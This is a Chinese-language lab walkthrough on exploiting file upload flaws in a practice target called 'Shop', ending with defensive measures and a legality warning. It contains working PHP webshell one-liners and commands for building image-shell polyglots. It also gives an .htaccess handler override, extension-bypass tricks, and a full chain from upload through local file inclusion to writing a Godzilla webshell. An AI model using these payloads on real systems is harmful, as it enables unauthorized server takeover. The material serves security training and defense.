Webshell上传攻防实战:从Shop靶机到文件上传漏洞深度解析
1. 项目概述:从靶场到实战的Webshell上传攻防演练
刚入门信安的朋友,面对Web渗透测试中“文件上传”这个老生常谈的漏洞,是不是经常感觉理论都懂,但一到实战就卡壳?特别是当目标网站部署了各种检测机制时,一个看似简单的上传点,背后可能藏着黑名单过滤、内容类型检查、文件头校验甚至动态解析检测等多重关卡。今天,我们就以经典的“Shop靶机”为演练场,抛开那些枯燥的理论罗列,手把手带你走一遍绕过上传检测、最终获取Webshell的完整实战流程。这不仅仅是复现一个漏洞,更是理解防御方思维、掌握攻击者技巧的绝佳机会。无论你是正在备考CTF的选手,还是希望夯实Web安全基础的新人,这篇从踩坑到通关的实录,都能让你对文件上传漏洞有一个立体、深刻的认识。
Shop靶机作为一个 intentionally vulnerable 的练习环境,集成了多种常见的、有缺陷的上传逻辑,非常适合用来搭建一个从易到难的学习路径。我们将从最基础的未做任何过滤的场景开始,逐步挑战更复杂的检测机制,比如绕过前端JS验证、服务端MIME类型检查、文件扩展名黑名单、文件内容检测,并最终触及一些高级技巧,如利用解析特性(如Apache的.htaccess、IIS的解析漏洞)或条件竞争漏洞。整个过程,我会穿插大量我在实际测试和教学中遇到的“坑点”和“灵光一现”的绕过手法,确保你看完就能上手实践。
2. 靶场环境搭建与核心漏洞点初探
2.1 Shop靶机环境部署与配置要点
工欲善其事,必先利其器。首先,我们需要一个可复现的实验环境。Shop靶机通常以虚拟机镜像(如OVA格式)或Docker容器的形式提供。我个人更推荐使用Docker,因为它部署快速、环境隔离干净,且不占用太多宿主机资源。假设你已经在本地安装好了Docker和Docker Compose,可以寻找开源社区维护的Shop靶场Docker版本。如果找不到,一个通用的方法是使用集成了多种漏洞的Web靶场平台(如DVWA、WebGoat)的文件上传模块进行类似练习,但为了紧扣主题,我们假设已获取Shop靶机。
部署后,通过浏览器访问靶机IP(如http://192.168.1.100)。通常,Shop靶机的入口会有导航菜单,我们需要找到“文件上传”或“商品图片上传”等相关功能模块。这是我们的主战场。在开始攻击前,一个至关重要的习惯是:先以正常用户身份完整走一遍上传流程。上传一张普通的jpg图片,观察整个交互过程。
注意:这个“正常流程”的观察步骤千万不能省。你需要留意以下几点:1)页面是否有前端JavaScript的提示(如“请选择图片文件”);2)选择文件点击上传后,浏览器开发者工具(F12)的“网络”(Network)选项卡中,查看上传请求的
Content-Type字段是什么(通常是multipart/form-data),以及请求体中文件名和文件内容是如何编码的;3)上传成功后,服务器返回了什么信息?文件被保存在哪个路径?访问这个上传后的文件URL,是否能够直接打开?这些信息是后续所有绕过手段的基础情报。
2.2 漏洞原理与攻击面分析
文件上传漏洞的本质在于,服务器对用户上传的文件数据缺乏充分且有效的验证,导致攻击者能够上传包含恶意代码(如Webshell)的文件,并且该文件能够被服务器以某种方式执行。一个完整的文件上传处理流程通常包括:客户端选择文件 -> 前端初步校验 -> 表单提交 -> 服务端接收 -> 临时存储 -> 安全性校验 -> 重命名/移动至最终目录 -> 返回访问路径。
攻击面就存在于上述每一个可能被绕过或存在缺陷的环节:
- 前端校验:仅依赖JavaScript在浏览器端检查文件扩展名。这是最容易被绕过的,直接禁用JS或拦截修改请求即可。
- 内容类型(MIME)校验:服务器检查HTTP请求头中的
Content-Type字段(如image/jpeg)。攻击者可以通过抓包工具直接修改该字段。 - 文件扩展名校验:
- 黑名单:禁止上传如
.php,.asp,.jsp等列表中的扩展名。绕过方法包括使用冷门扩展名(.php5,.phtml)、大小写混淆(.Php)、加点加空格(.php.)、利用特殊解析规则(.php.jpg)等。 - 白名单:只允许上传如
.jpg,.png,.gif等。这比黑名单安全得多,通常需要结合其他漏洞(如解析漏洞、文件包含)才能利用。
- 黑名单:禁止上传如
- 文件内容校验:
- 文件头(Magic Number)校验:检查文件起始的几个字节是否符合图片格式(如
JPEG的文件头是FF D8 FF E0)。绕过方法是在Webshell代码前添加正确的图片文件头。 - 二次渲染:服务器对上传的图片进行真正的图像处理(如缩放、裁剪)。这会破坏嵌入在图片像素数据中的恶意代码,是最难绕过的一种。通常需要精确计算,将代码嵌入到不会在渲染中被破坏的元数据区(如图片注释Exif)。
- 文件头(Magic Number)校验:检查文件起始的几个字节是否符合图片格式(如
- 解析与执行逻辑缺陷:这是获取Webshell的关键。即使文件被成功上传并保存,如果它不被服务器以脚本形式解析,那也是徒劳。常见的利用点包括:
- 目录路径解析漏洞:如IIS 6.0的
/test.asp;.jpg会被解析为ASP执行。 - 配置文件控制:如Apache中,如果允许上传
.htaccess文件,且服务器配置了AllowOverride All或包含Options +ExecCGI,攻击者可以上传一个自定义的.htaccess文件,将.jpg文件解析为PHP。 - 文件包含漏洞组合利用:如果网站同时存在本地文件包含(LFI)漏洞,那么上传一个包含恶意代码的文本文件(如图片),再通过LFI漏洞去包含它,就能实现代码执行。
- 目录路径解析漏洞:如IIS 6.0的
Shop靶机通常会模拟上述多种场景,我们接下来的实战就是针对这些点逐个击破。
3. 绕过检测的层级化实战技巧拆解
我们将攻击难度从低到高分为五个层级,每一层都代表一类常见的防御措施及其绕过方法。
3.1 第一层:绕过前端JavaScript校验
这是最简单的关卡。当你尝试上传一个.php文件时,页面可能立刻弹窗提示“只能上传图片格式!”。打开浏览器开发者工具(F12),进入“元素”(Elements)选项卡,找到上传按钮相关的<input type="file">标签,查看其onchange事件绑定的JavaScript函数。这个函数可能包含了对fileName.endsWith('.jpg')之类的检查。
绕过方法有两种:
- 直接禁用浏览器JavaScript:在浏览器设置中临时禁用JS,然后重新上传。但现代网站很多功能依赖JS,禁用后可能导致页面无法正常操作。
- 拦截并修改HTTP请求(推荐):这是更通用的方法。使用Burp Suite这类代理工具。
- 步骤:浏览器配置代理指向Burp -> 在Burp中开启拦截(Intercept is on) -> 在网页上传一个合法的图片文件(如
test.jpg)-> Burp会拦截到POST请求。 - 在Burp的拦截界面,你可以看到请求体(Raw格式)。找到代表文件名的部分和文件内容部分。将文件名从
test.jpg改为shell.php,同时确保文件内容是你的Webshell代码(例如最简单的<?php @eval($_POST['cmd']);?>)。 - 然后点击“Forward”放行请求。这样,服务器收到的是一个“挂着羊头(请求内容可能是图片格式)卖着狗肉(文件名和内容是PHP)”的请求,而前端JS校验已被完全绕过。
- 步骤:浏览器配置代理指向Burp -> 在Burp中开启拦截(Intercept is on) -> 在网页上传一个合法的图片文件(如
实操心得:养成“用合法请求包改非法内容”的习惯。先传一个正常的,再用工具改。这能有效规避一些前端复杂的校验逻辑。另外,注意观察修改请求后服务器的响应。如果返回错误,可能是服务端还有别的校验。
3.2 第二层:绕过服务端MIME类型检查
绕过前端后,你可能会遇到服务端返回“文件类型不允许”的错误。此时需要查看Burp拦截到的原始请求。在multipart/form-data的请求体中,每个文件部分都有一个Content-Type头。例如,上传jpg图片时,它是Content-Type: image/jpeg。
绕过方法:在Burp中拦截上传请求,直接将这个Content-Type从image/jpeg修改为text/php或者application/x-php,甚至直接改为application/octet-stream(二进制流,有时能绕过简单的字符串匹配检查)。然后连同文件名和内容一起修改,再放行。
为什么这么做?有些服务器的校验代码非常简陋,可能只是简单判断$_FILES['file']['type'](这个值来自请求头,客户端可控)是否在允许的图片类型列表中。我们手动将其改为PHP的MIME类型,如果服务器是黑名单机制(禁止text/php),那这招就行不通;但如果是白名单机制(只允许image/开头的类型),我们改成image/jpeg反而能通过。所以这里需要一点试探。
3.3 第三层:绕过文件扩展名黑名单
这是攻防的重点区域。假设服务器检查文件后缀,黑名单包含了.php,.php3,.php5,.phtml等。
绕过技巧集合:
- 大小写绕过:
.PHP,.Php,.pHp。在Windows服务器上,文件系统通常不区分大小写,shell.PHP会被当作shell.php执行。但在Linux上严格区分,此方法可能无效。 - 点号绕过:
shell.php.或shell.php. .。在某些处理逻辑中,程序可能会去除末尾的点号,或者在保存时系统自动去除,最终文件名变回shell.php。 - 空格绕过:
shell.php(末尾加空格)。类似点号,有些校验逻辑trim()函数使用不当,可能只在校验时去空格,保存时却没去。 - 双写扩展名:
shell.pphphp。如果过滤逻辑是简单地查找并删除字符串.php,那么删除一次后,剩下的字符组合起来又变成了.php。 - 利用解析特性:
.php.jpg:如果服务器按最后一个点分隔后缀,则认为是.jpg;但某些老旧版本的IIS或配置不当的Apache+PHP,可能会按第一个可解析的点来认,即当作.php执行。更可靠的是结合后面要讲的.htaccess攻击。.php%00.jpg(空字节截断):这是历史上一个经典的漏洞。在PHP版本<5.3.4且magic_quotes_gpc=Off时,如果上传路径用户可控(如/uploads/$filename),可以构造文件名shell.php%00.jpg。服务端在保存时,%00会被解释为字符串结束符,最终文件被保存为shell.php。注意:此漏洞在现代PHP环境中已基本修复,但作为知识需要了解。
- 冷门脚本扩展名:尝试
.phtml,.phps,.phpt,.pgif等,取决于服务器配置中是否将这些扩展名关联给了PHP解析引擎。可以通过信息收集阶段探测服务器支持的语言。
注意事项:黑名单的对抗是动态的。最好的方法是信息收集。通过扫描目录、查看错误信息、分析其他功能点,尽可能获取服务器环境信息(Apache/Nginx/IIS? PHP/ASP/Java? 版本号?)。知道了环境,才能选用最合适的绕过姿势。
3.4 第四层:绕过文件内容与头校验
服务器不仅看“名字”,还要验“身子”。它可能会读取文件的前几个字节(文件头)来判断是否为真实图片。
绕过方法:制作图片马(Image Shell)
- 准备Webshell代码:写一个简单的PHP Webshell,例如
<?php system($_GET['c']); ?>,保存为shell.txt。 - 准备一张真实图片:例如
normal.jpg。 - 合成图片马:
- Windows命令:
copy /b normal.jpg + shell.txt webshell.jpg - Linux命令:
cat normal.jpg shell.txt > webshell.php.jpg这个命令将图片的二进制内容和文本格式的Webshell代码拼接在一起。对于JPEG格式,文件尾之后的数据会被忽略,因此图片浏览器仍能正常显示,但服务器在解析时,如果只是检查了文件头(FF D8 FF)就放行,那么文件就会被保存。
- Windows命令:
- 上传与利用:上传
webshell.php.jpg。如果服务器存在文件包含漏洞,你可以通过包含这个图片文件来执行其中的PHP代码。例如:http://target.com/index.php?page=./uploads/webshell.php.jpg。如果服务器错误地配置了MIME类型,将.jpg映射给了PHP解析器,那么直接访问也可能执行(但这很少见)。
对抗二次渲染: 如果服务器对上传的图片进行了缩放、重新压缩等操作,上述简单的拼接方法会失效,因为图片数据被重写,附加的代码被清除。这时需要更高级的技巧:
- 利用Exif元数据:使用
exiftool工具,将PHP代码写入图片的Exif注释字段。
然后上传。一些图片处理库在二次渲染时可能会保留Exif信息。再利用文件包含漏洞去包含它。exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg mv normal.jpg webshell_exif.jpg - 精确计算注入点:针对GIF和PNG格式,有研究可以将代码注入到特定的数据块(如PNG的
tEXt块)中,这些块在某些图像处理过程中可能得以保留。但这需要深入理解文件格式,属于高级技巧。
3.5 第五层:利用服务器解析特性与组合拳
这是获取Webshell的“临门一脚”。文件上传了,但如何让它被执行?
Apache +
.htaccess攻击(经典且强大)前提:目标目录允许上传.htaccess文件(通常意味着AllowOverride配置不为None),并且该目录有执行CGI脚本的权限。步骤:- 第一步:上传
.htaccess文件。内容为:
这行配置告诉Apache,在当前目录及其子目录下,所有AddType application/x-httpd-php .jpg.jpg文件都应被当作PHP程序来解析执行。 - 第二步:上传图片马。上传一个包含PHP代码的
shell.jpg文件(用前面制作图片马的方法)。 - 第三步:直接访问。访问
http://target.com/uploads/shell.jpg,其中的PHP代码就会被执行。
关键点:必须先上传
.htaccess,再上传图片马。因为.htaccess是即时生效的。如果服务器禁止上传.htaccess(黑名单),可以尝试.htaccess.(加点)、htaccess(去点)等绕过方法。- 第一步:上传
IIS解析漏洞
- IIS 6.0:
- 目录解析:
/upload/shell.asp;.jpg会被当作shell.asp执行。 - 文件解析:
shell.asp;.jpg也会被当作asp文件执行。 - 分号后面的内容被忽略。
- 目录解析:
- IIS 7.0/7.5 (Fast-CGI模式):在特定配置下,如果URL路径中包含不被Fast-CGI理解的字符,如
.php,可能会将整个路径传递给PHP,导致/upload/shell.jpg/.php被解析为PHP文件。但这需要PHP配置cgi.fix_pathinfo=1(默认值)。实战中较少见,但CTF中常考。
- IIS 6.0:
Nginx解析漏洞历史上某些版本的Nginx配置不当,会导致
/upload/shell.jpg/.php这样的请求,Nginx会将其传递给后端的PHP-FPM,而PHP-FPM在cgi.fix_pathinfo=1时,会向前查找可执行的文件,即shell.jpg,并将其作为PHP执行。同样,这是特定配置下的问题,并非Nginx本身漏洞。结合文件包含(LFI)漏洞这是最稳健的一种方式。只要存在本地文件包含漏洞,我们上传任何文件(文本、图片),只要能控制其内容,就可以通过包含来执行代码。
- 上传一个内容为
<?php phpinfo(); ?>的test.txt到/uploads/。 - 利用LFI漏洞包含它:
http://target.com/index.php?file=./uploads/test.txt。 - 成功的话就会显示phpinfo页面。这种方式完全无视了上传时的任何后缀检查,因为包含漏洞的代码(如
include($_GET['file']);)直接读取了文件内容并当作PHP执行。
- 上传一个内容为
4. 以Shop靶机为例的完整攻击链实操
假设Shop靶机的上传功能存在多层缺陷,我们设计一个综合攻击链。
场景设定:上传点位于/upload.php,对扩展名使用黑名单(过滤.php,.asp),检查MIME类型(必须为image/开头),并且对文件内容进行了简单的文件头检查(检查前2字节)。上传后的文件保存在/uploads/目录,该目录可通过Web直接访问。同时,我们发现网站存在一个本地文件包含漏洞点/index.php?load=。
攻击步骤:
信息收集:使用浏览器正常上传一个
jpg图片。用Burp Suite拦截请求,观察:- 请求URL和参数。
Content-Type: image/jpeg。- 服务器返回的成功信息,包含文件存储路径,如
File uploaded to: /uploads/95b7a1e0.jpg。 - 直接访问该链接,图片能正常显示。
制作攻击载荷:我们计划利用文件包含漏洞,因此不需要文件本身被解析,只需要其内容可控。我们制作一个包含正确JPEG文件头的图片马,以确保通过文件头检查。
- 用十六进制编辑器或
echo命令创建一个小型JPEG文件头(例如,最简单的JPEG文件头可以是FF D8 FF E0)。 - 将PHP Webshell代码附加在后面。创建一个文本文件
payload.txt:FF D8 FF E0 <?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?> - 但这样是文本,需要转换成二进制。更简单的方法:用
copy /b或cat命令,将一个真实小图片header.jpg(仅包含文件头)与一个shell.php文本文件合并。# Linux cat header.jpg shell.php > shell.jpgshell.php内容为:<?php system($_GET['c']);?>
- 用十六进制编辑器或
绕过黑名单与MIME检查:
- 在Burp中拦截上传
shell.jpg的请求。 - 将文件名改为
shell.jpg.php(尝试利用解析特性,但主要目的是试探)。 - 确认
Content-Type为image/jpeg。 - 放行请求。服务器可能因为黑名单包含
.php而拒绝。返回错误“Invalid file extension”。
- 在Burp中拦截上传
调整绕过策略:
- 重新拦截,将文件名改为
shell.jpg.phtml(尝试冷门扩展名)。放行。假设返回成功,路径为/uploads/shell.jpg.phtml。 - 直接访问这个链接,浏览器可能下载或显示乱码,因为服务器没有将
.phtml配置为PHP解析(这是常见情况)。所以直接执行失败。
- 重新拦截,将文件名改为
利用文件包含漏洞:
- 现在我们有一个内容包含Webshell代码的文件,存储在已知路径
/uploads/shell.jpg.phtml。 - 转向我们发现的LFI漏洞点:访问
http://shop-target.com/index.php?load=./uploads/shell.jpg.phtml - 如果包含成功,我们应该能看到Webshell被执行。为了验证,可以传递参数:
http://shop-target.com/index.php?load=./uploads/shell.jpg.phtml&c=whoami - 如果页面上显示了当前Web服务的运行用户(如
www-data),则说明攻击成功,我们获得了命令执行能力。
- 现在我们有一个内容包含Webshell代码的文件,存储在已知路径
获取交互式Webshell: 简单的命令执行Webshell(
system($_GET['c']))功能有限。我们通常希望上传一个功能更强大的、支持文件管理、数据库操作等的Webshell,例如“哥斯拉”或“冰蝎”的客户端。- 在攻击机本地,使用哥斯拉工具生成一个PHP类型的加密Webshell载荷,假设生成的文件名为
godzilla.php。 - 由于直接上传
.php文件被禁止,我们需要将其内容嵌入到图片中。但哥斯拉的载荷是加密的二进制数据,直接拼接可能导致图片损坏。更稳妥的方法是利用命令执行Webshell来写入文件。 - 使用我们已获得的命令执行能力,将
godzilla.php的Base64编码内容,通过echo命令写入目标服务器。
请求URL示例(假设我们的初级Webshell参数是# 在攻击机将godzilla.php进行base64编码 base64 -w0 godzilla.php > payload.b64 # 将payload.b64的内容作为一行,通过我们的Webshell执行写入命令 # URL编码后,通过参数c传递c):
这条命令将Base64字符串解码并写入到http://shop-target.com/index.php?load=./uploads/shell.jpg.phtml&c=echo%20%27PD9waHAg...(很长的Base64字符串)...%27%20%7C%20base64%20-d%20%3E%20/var/www/html/uploads/gz.php/uploads/gz.php。 - 访问
http://shop-target.com/uploads/gz.php,用哥斯拉客户端连接,密码为生成时设定的密码,即可获得一个功能完整的图形化Webshell管理界面。
- 在攻击机本地,使用哥斯拉工具生成一个PHP类型的加密Webshell载荷,假设生成的文件名为
5. 防御视角与实战排查技巧
作为攻击者,我们研究绕过方法;但作为安全人员或开发者,更应知道如何防御。
防御措施分层构建:
- 前端校验:可作为用户体验优化,但绝不能作为安全依赖。
- 服务端白名单:只允许特定的、安全的文件扩展名(如
.jpg,.png,.gif)。这是最有效的手段之一。 - 文件类型校验:使用
finfo_file()(PHP)或类似函数,根据文件内容的**魔术数字(Magic Number)**来判断真实类型,而不是信任Content-Type。 - 重命名文件:上传后,使用随机生成的文件名(如UUID)保存,避免用户控制文件名带来解析风险。同时,保留原始扩展名以供业务使用(如显示图片)。
- 限制上传目录权限:将上传目录设置为不可执行脚本。在Apache中,可以使用
php_admin_value engine off配置;在Nginx中,可以通过location规则阻止该目录下PHP文件的解析。location ~ ^/uploads/.*\.(php|php5|phtml)$ { deny all; } - 独立域名/子域:将用户上传的文件存储到单独的、静态文件服务的域名下,彻底隔离动态脚本执行环境。
- 文件内容扫描:对上传的图片进行二次渲染,彻底破坏嵌入的恶意代码。对上传的非图片文件进行病毒/恶意代码扫描。
- WAF防护:部署Web应用防火墙,配置规则检测异常的上传请求(如畸形的文件名、含有恶意代码片段的文件内容)。
实战排查技巧(当你作为防守方进行自查时):
- 检查点1:上传流程。尝试上传各种畸形文件名(带空格、点、特殊符号)、超大文件、0字节文件,观察系统反应。是否返回详细的错误信息(可能泄露路径)?
- 检查点2:文件存储。上传后,文件是否按你预期的方式命名和存储?能否通过直接URL访问?访问时返回的HTTP头
Content-Type是什么? - 检查点3:解析测试。如果上传目录允许执行脚本,尝试上传一个包含
<?php echo 'test';?>的test.txt文件,然后通过浏览器访问它。如果显示了test,说明存在严重漏洞。 - 检查点4:配置审查。检查Web服务器(Apache/Nginx)针对上传目录的配置文件,是否禁用了脚本执行?检查应用程序代码,查看上传处理逻辑,是否存在黑名单、是否使用了不安全的函数(如
str_ireplace进行过滤,可能被双写绕过)。 - 检查点5:组合漏洞。检查网站是否存在文件包含、任意文件读取、目录遍历等漏洞。这些漏洞可能与上传点结合,产生更大的危害。
文件上传漏洞的攻防是一场持续的动态博弈。作为新手,通过像Shop这样的靶机进行系统性练习,理解每一层防御的原理和绕过方法,不仅能提升攻击技巧,更能从根本上帮你建立起牢固的防御意识。记住,在真实环境中,未经授权的测试是违法的,请务必在授权范围内或使用合法的靶场进行练习。
